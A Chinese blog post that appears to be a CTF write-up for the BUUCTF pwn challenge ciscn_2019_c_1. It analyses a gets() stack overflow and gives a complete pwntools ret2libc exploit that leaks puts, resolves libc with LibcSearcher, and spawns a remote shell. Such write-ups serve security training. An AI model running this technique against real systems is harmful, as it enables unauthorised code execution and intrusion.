BUU_ciscn_2019_c_1

ciscn_2019_c_1

先查看保护机制,64位开了NX保护

发现应该是用不了ret2syscall的

v4是格式化输入的,不存在溢出55
[v4!=2退出里面的小循环,=1进入encrypt()函数]{.kbd .red}

看到s和gets(),填充为0x50+8
发现puts()->re2libc
然后程序有一个死循环

:::warning
if ( v0 >= strlen(s) )
break;
:::

让s第一个字符是‘\0’退出循环
offset=0x50+8-1

exp

from pwn import *
from LibcSearcher import *
p = remote('node5.buuoj.cn',28091)
#p=process('./ciscn_2019_c_1')
e=ELF("./ciscn_2019_c_1")
puts_plt=e.plt['puts']
puts_got=e.got['puts']
main_addr=0x400B28
ret=0x4006b9
pop_rdi=0x400c83
p.sendlineafter('Input your choice!\n','1')
payload1=b'\0'+b'a'*(0x50+8-1)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
p.sendlineafter('encrypted\n',payload1)
p.recvuntil('Ciphertext\n')
puts_real=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_real))
libc=LibcSearcher('puts',puts_real)
libc_addr=puts_real-libc.dump("puts")

bin_sh_addr=libc_addr+libc.dump("str_bin_sh")   
system_real_addr=libc_addr+libc.dump("system")
p.sendlineafter('Input your choice!\n','1')
payload2=b'\0'+b'a'*(0x50+8-1)+p64(ret)+p64(pop_rdi)+p64(bin_sh_addr)+p64(system_real_addr)+p64(main_addr) 
p.sendlineafter('encrypted\n',payload2)
p.interactive()

好趴,调用libcsearch库和那个网站最后都一样啊,还是有那么多版本还是要都试一遍

posted @   Jexy-kynner*^  阅读(5)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 全程不用写代码,我用AI程序员写了一个飞机大战
· DeepSeek 开源周回顾「GitHub 热点速览」
· 记一次.NET内存居高不下排查解决与启示
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· .NET10 - 预览版1新功能体验(一)
点击右上角即可分享
微信分享提示